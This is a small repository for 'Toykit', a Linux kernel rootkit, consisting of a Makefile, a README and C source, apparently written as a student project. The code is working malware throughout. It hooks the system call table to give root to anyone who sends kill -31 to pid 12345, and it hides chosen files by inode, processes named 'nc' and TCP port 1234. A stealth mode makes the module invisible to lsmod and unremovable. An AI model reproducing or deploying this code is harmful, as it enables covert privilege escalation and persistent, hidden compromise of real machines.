├── .gitignore ├── Makefile ├── README.md └── toykit.c /.gitignore: -------------------------------------------------------------------------------- 1 | testy 2 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | obj-m += toykit.o 2 | all: 3 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules 4 | clean: 5 | make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #Toykit -- a toy Linux rootkit 2 | Use at your own risk, dangerous code. 3 | 4 | #Usage 5 | ##Dynamic Commands 6 | Commands that can be run after module load time: 7 | 1. kill -31 12345 gives root access. 8 | 2. kill -16 [some inode] hides a file with inode some inode. 9 | 10 | ##Static Commands 11 | Commands that have to be set before module load time: 12 | 1. Process hiding, HIDE PROC will not be visible to user. 13 | 2. Port hiding, HIDE PORT will not be visible to user. 14 | 15 | ##Stealth Mode 16 | Rootkit is invisible and unremovable. 17 | Comment out STEALTH MODE to turn off. 18 | -------------------------------------------------------------------------------- /toykit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | // USAGE 15 | // DYNAMIC COMMANDS (AFTER MODULE LOAD TIME) 16 | // kill -31 12345 gives root access 17 | // kill -16 [some_inode] hides a file with inode some_inode 18 | 19 | // STATIC COMMANDS (BEFORE MODULE LOAD TIME) 20 | // process hiding -- HIDE_PROC will not be visible to user 21 | // port hiding -- HIDE_PORT will not be visible to user 22 | 23 | // STEALTH MODE 24 | // rootkit is invisible and unremovable 25 | // comment out STEALTH_MODE to turn off 26 | // EGASU 27 | 28 | // for root-access backdoor 29 | // kill -31 12345 gives root access 30 | #define ROOT_PID 12345 31 | #define ROOT_SIG 31 32 | 33 | // for controlling the file hider 34 | // kill -16 [some_inode] hides a file with inode some_inode 35 | #define HIDE_SIG 16 36 | 37 | // for process hiding 38 | // nc is hidden for remote backdoor 39 | #define HIDE_PROC "nc" 40 | 41 | // for port hiding 42 | #define HIDE_PORT "04D2" // 1234 in hex 43 | 44 | // for hiding from lsmod 45 | #define STEALTH_MODE 1 // comment out if you want to remove toykit 46 | 47 | // for writing to sys_call_table 48 | // CITATION [6] from report 49 | #define GPF_DISABLE write_cr0(read_cr0() & (~ 0x10000)) 50 | #define GPF_ENABLE write_cr0(read_cr0() | 0x10000) 51 | 52 | // hard coded, grep /boot/System.map 53 | // sys_call_table is no longer an exported symbol 54 | unsigned long *sys_call_table = (unsigned long*) 0xc15b0000; 55 | 56 | // hijacking sys_kill -- 1. root-access backdoor, 2. hide inodes 57 | // CITATION [4] from report 58 | typedef asmlinkage int (*kill_ptr)(pid_t pid, int sig); 59 | kill_ptr orig_kill; 60 | 61 | // list of inodes to hide 62 | static LIST_HEAD(hidden_files); 63 | 64 | // struct for list of inodes 65 | struct hidden_file { 66 | unsigned long long inode; 67 | struct list_head list; 68 | }; 69 | 70 | asmlinkage int hacked_kill(pid_t pid, int sig) 71 | { 72 | int actual_result; 73 | struct hidden_file *toAdd; 74 | 75 | // root-access backdoor 76 | // CITATION [6] from report 77 | if (pid == ROOT_PID && sig == ROOT_SIG) { 78 | struct cred *cred; 79 | cred = (struct cred *) __task_cred(current); 80 | cred->uid = 0; 81 | cred->gid = 0; 82 | cred->suid = 0; 83 | cred->sgid = 0; 84 | cred->euid = 0; 85 | cred->egid = 0; 86 | cred->fsuid = 0; 87 | cred->fsgid = 0; 88 | return 0; 89 | } 90 | // file hiding 91 | // pid = inode of file to be hidden 92 | else if (sig == HIDE_SIG) { 93 | toAdd = kmalloc(sizeof(struct hidden_file),GFP_KERNEL); 94 | toAdd->inode = (unsigned long long) pid; 95 | INIT_LIST_HEAD(&toAdd->list); 96 | list_add_tail(&toAdd->list,&hidden_files); 97 | return 0; 98 | } 99 | 100 | actual_result = (*orig_kill)(pid,sig); 101 | return actual_result; 102 | } 103 | 104 | // for hijacking sys_getdents -- 1. file hiding, 2. process hiding 105 | struct linux_dirent { 106 | unsigned long d_ino; 107 | unsigned long d_off; 108 | unsigned short d_reclen; 109 | char d_name[256]; 110 | char pad; 111 | char d_type; 112 | }; 113 | 114 | // for proc hiding, checking a process name against the HIDE_PROC constant 115 | int checkProcName(long pid) 116 | { 117 | if (strcmp(pid_task(find_vpid(pid),PIDTYPE_PID)->comm,HIDE_PROC) == 0) 118 | return 1; 119 | return 0; 120 | } 121 | 122 | typedef asmlinkage int (*getdents_ptr)(unsigned int fd, struct linux_dirent *dirp, 123 | unsigned int count); 124 | getdents_ptr orig_getdents; 125 | 126 | asmlinkage int hacked_getdents(unsigned int fd, struct linux_dirent *dirp, 127 | unsigned int count) 128 | { 129 | int result, bp; // bp = position in bytes in kdirp 130 | struct hidden_file *ptr; 131 | char *kdirp; // char buffer so we can do pointer arithmetic by byte 132 | struct linux_dirent *d; 133 | 134 | struct files_struct *current_files; 135 | struct fdtable *files_table; 136 | struct path file_path; 137 | char pbuf[256], *pathname = NULL; 138 | long pid = 0; 139 | 140 | // run real getdents 141 | result = (*orig_getdents)(fd,dirp,count); 142 | if (result <= 0) 143 | return result; 144 | 145 | // get pathname 146 | // CITATION [8] from report 147 | current_files = current->files; 148 | files_table = files_fdtable(current_files); 149 | 150 | file_path = files_table->fd[fd]->f_path; 151 | pathname = d_path(&file_path,pbuf,256*sizeof(char)); 152 | 153 | // copy from user to kernelspace; 154 | if (!access_ok(VERIFY_READ,dirp,result)) 155 | return EFAULT; 156 | if ((kdirp = kmalloc(result,GFP_KERNEL)) == NULL) 157 | return EINVAL; 158 | if (copy_from_user(kdirp,dirp,result)) 159 | return EFAULT; 160 | 161 | // check dirp for files to hide 162 | for (bp = 0; bp < result; bp += d->d_reclen) { 163 | d = (struct linux_dirent *) (kdirp + bp); 164 | // process hiding 165 | if (!strcmp(pathname,"/proc")) { // if in /proc 166 | kstrtol(d->d_name,10,&pid); 167 | if ((pid > 0) && checkProcName(pid)) { // if proc virtual file 168 | memmove(kdirp + bp,kdirp + bp + d->d_reclen, // del dirent 169 | result - bp - d->d_reclen); 170 | result -= d->d_reclen; 171 | bp -= d->d_reclen; 172 | } 173 | } 174 | // file hiding 175 | else { // check inodes against list of inodes to hide 176 | list_for_each_entry(ptr,&hidden_files,list) { 177 | if (d->d_ino == ptr->inode) { 178 | memmove(kdirp + bp,kdirp + bp + d->d_reclen, // del dirent 179 | result - bp - d->d_reclen); 180 | result -= d->d_reclen; 181 | bp -= d->d_reclen; 182 | } 183 | } 184 | } 185 | } 186 | 187 | // copy from kernel to userspace 188 | if (!access_ok(VERIFY_WRITE,dirp,result)) 189 | return EFAULT; 190 | if (copy_to_user(dirp,kdirp,result)) 191 | return EFAULT; 192 | kfree(kdirp); 193 | 194 | // return number of bytes read 195 | return result; 196 | } 197 | 198 | typedef asmlinkage int (*getdents64_ptr)(unsigned int fd, struct linux_dirent64 *dirp, 199 | unsigned int count); 200 | getdents64_ptr orig_getdents64; 201 | 202 | asmlinkage int hacked_getdents64(unsigned int fd, struct linux_dirent64 *dirp, 203 | unsigned int count) 204 | { 205 | int result, bp; // bp = position in bytes in kdirp 206 | struct hidden_file *ptr; 207 | char *kdirp; // char buffer so we can do pointer arithmetic by byte 208 | struct linux_dirent64 *d; 209 | 210 | struct files_struct *current_files; 211 | struct fdtable *files_table; 212 | struct path file_path; 213 | char pbuf[256], *pathname = NULL; 214 | long pid = 0; 215 | 216 | // run real getdents 217 | result = (*orig_getdents64)(fd,dirp,count); 218 | if (result <= 0) 219 | return result; 220 | 221 | // get pathname 222 | // CITATION [8] from report 223 | current_files = current->files; 224 | files_table = files_fdtable(current_files); 225 | 226 | file_path = files_table->fd[fd]->f_path; 227 | pathname = d_path(&file_path,pbuf,256*sizeof(char)); 228 | 229 | // copy from user to kernelspace; 230 | if (!access_ok(VERIFY_READ,dirp,result)) 231 | return EFAULT; 232 | if ((kdirp = kmalloc(result,GFP_KERNEL)) == NULL) 233 | return EINVAL; 234 | if (copy_from_user(kdirp,dirp,result)) 235 | return EFAULT; 236 | 237 | // check dirp for files to hide 238 | for (bp = 0; bp < result; bp += d->d_reclen) { 239 | d = (struct linux_dirent64 *) (kdirp + bp); 240 | // process hiding 241 | if (!strcmp(pathname,"/proc")) { // if in /proc 242 | kstrtol(d->d_name,10,&pid); 243 | if ((pid > 0) && checkProcName(pid)) { // if proc virtual file 244 | memmove(kdirp + bp,kdirp + bp + d->d_reclen, // del dirent 245 | result - bp - d->d_reclen); 246 | result -= d->d_reclen; 247 | bp -= d->d_reclen; 248 | } 249 | } 250 | // file hiding 251 | else { // check inodes against list of inodes to hide 252 | list_for_each_entry(ptr,&hidden_files,list) { 253 | if (d->d_ino == ptr->inode) { 254 | memmove(kdirp + bp,kdirp + bp + d->d_reclen, // del dirent 255 | result - bp - d->d_reclen); 256 | result -= d->d_reclen; 257 | bp -= d->d_reclen; 258 | } 259 | } 260 | } 261 | } 262 | 263 | // copy from kernel to userspace 264 | if (!access_ok(VERIFY_WRITE,dirp,result)) 265 | return EFAULT; 266 | if (copy_to_user(dirp,kdirp,result)) 267 | return EFAULT; 268 | kfree(kdirp); 269 | 270 | // return number of bytes read 271 | return result; 272 | } 273 | 274 | // for hijacking sys_read -- 1. port hiding 275 | typedef asmlinkage long (*read_ptr)(unsigned int fd, char __user *buf, 276 | size_t count); 277 | read_ptr orig_read; 278 | 279 | // CITATION [7] from report 280 | asmlinkage long hacked_read(unsigned int fd, char __user *buf, 281 | size_t count) 282 | { 283 | long result, bp, diff_in_bytes; 284 | char *kbuf, *start_line, *end_line, *port_num; 285 | char *pathname, pbuf[256]; 286 | struct files_struct *current_files; 287 | struct fdtable *files_table; 288 | struct path file_path; 289 | 290 | // run real read 291 | result = (*orig_read)(fd,buf,count); 292 | if (result <= 0) 293 | return result; 294 | 295 | // get pathname 296 | // CITATION [8] from report 297 | current_files = current->files; 298 | files_table = files_fdtable(current_files); 299 | 300 | file_path = files_table->fd[fd]->f_path; 301 | pathname = d_path(&file_path,pbuf,256*sizeof(char)); 302 | 303 | // if virtual file /proc/net/tcp 304 | if (!strncmp(pathname,"/proc/",6) && !strcmp(pathname+10,"/net/tcp")) { 305 | // copy from user to kernelspace; 306 | if (!access_ok(VERIFY_READ,buf,result)) 307 | return -1; 308 | if ((kbuf = kmalloc(result,GFP_KERNEL)) == NULL) 309 | return -1; 310 | if (copy_from_user(kbuf,buf,result)) 311 | return -1; 312 | 313 | // filter out hidden ports 314 | start_line = strchr(kbuf,':') - 4; // skip first line 315 | diff_in_bytes = (start_line - kbuf) * sizeof(char); 316 | for (bp = diff_in_bytes; bp < result; bp += diff_in_bytes) { 317 | start_line = kbuf + bp; 318 | port_num = strchr(strchr(start_line,':') + 1,':') + 1; 319 | end_line = strchr(start_line,'\n'); 320 | diff_in_bytes = ((end_line - start_line) + 1) * sizeof(char); 321 | if (!strncmp(port_num,HIDE_PORT,4)) { // if magic port 322 | memmove(start_line,end_line + 1, // delete line in file 323 | result - bp - diff_in_bytes); 324 | result -= diff_in_bytes; 325 | } 326 | } 327 | 328 | // copy from kernel to userspace 329 | if (!access_ok(VERIFY_WRITE,buf,result)) 330 | return EINVAL; 331 | if (copy_to_user(buf,kbuf,result)) 332 | return EINVAL; 333 | kfree(kbuf); 334 | } 335 | 336 | 337 | // return number of bytes read 338 | return result; 339 | } 340 | 341 | int rootkit_init(void) { 342 | #ifdef STEALTH_MODE 343 | struct module *self; 344 | #endif 345 | 346 | GPF_DISABLE; // make the sys_call_table_readable 347 | orig_kill = (kill_ptr)sys_call_table[__NR_kill]; // hooking 348 | sys_call_table[__NR_kill] = (unsigned long) hacked_kill; 349 | 350 | orig_getdents = (getdents_ptr)sys_call_table[__NR_getdents]; 351 | sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents; 352 | 353 | orig_getdents64 = (getdents64_ptr)sys_call_table[__NR_getdents64]; 354 | sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64; 355 | 356 | orig_read = (read_ptr)sys_call_table[__NR_read]; 357 | sys_call_table[__NR_read] = (unsigned long) hacked_read; 358 | GPF_ENABLE; 359 | 360 | #ifdef STEALTH_MODE 361 | // hide from lsmod, impossible to remove 362 | mutex_lock(&module_mutex); 363 | if ((self = find_module("toykit"))) 364 | list_del(&self->list); 365 | mutex_unlock(&module_mutex); 366 | #endif 367 | 368 | printk(KERN_INFO "Loading rootkit\n"); 369 | return 0; 370 | } 371 | 372 | void rootkit_exit(void) { 373 | struct hidden_file *ptr, *next; 374 | 375 | GPF_DISABLE; // make the sys_call_table_readable 376 | sys_call_table[__NR_kill] = (unsigned long) orig_kill; 377 | sys_call_table[__NR_getdents] = (unsigned long) orig_getdents; 378 | sys_call_table[__NR_getdents64] = (unsigned long) orig_getdents64; 379 | sys_call_table[__NR_read] = (unsigned long) orig_read; 380 | GPF_ENABLE; 381 | 382 | // delete list of inodes 383 | list_for_each_entry_safe(ptr,next,&hidden_files,list) { 384 | list_del(&ptr->list); 385 | kfree(ptr); 386 | } 387 | printk(KERN_INFO "Removing rootkit\n"); 388 | } 389 | 390 | module_init(rootkit_init); 391 | module_exit(rootkit_exit); 392 | 393 | MODULE_LICENSE("GPL"); 394 | MODULE_DESCRIPTION("Toykit"); 395 | MODULE_AUTHOR("Josh Imhoff"); 396 | --------------------------------------------------------------------------------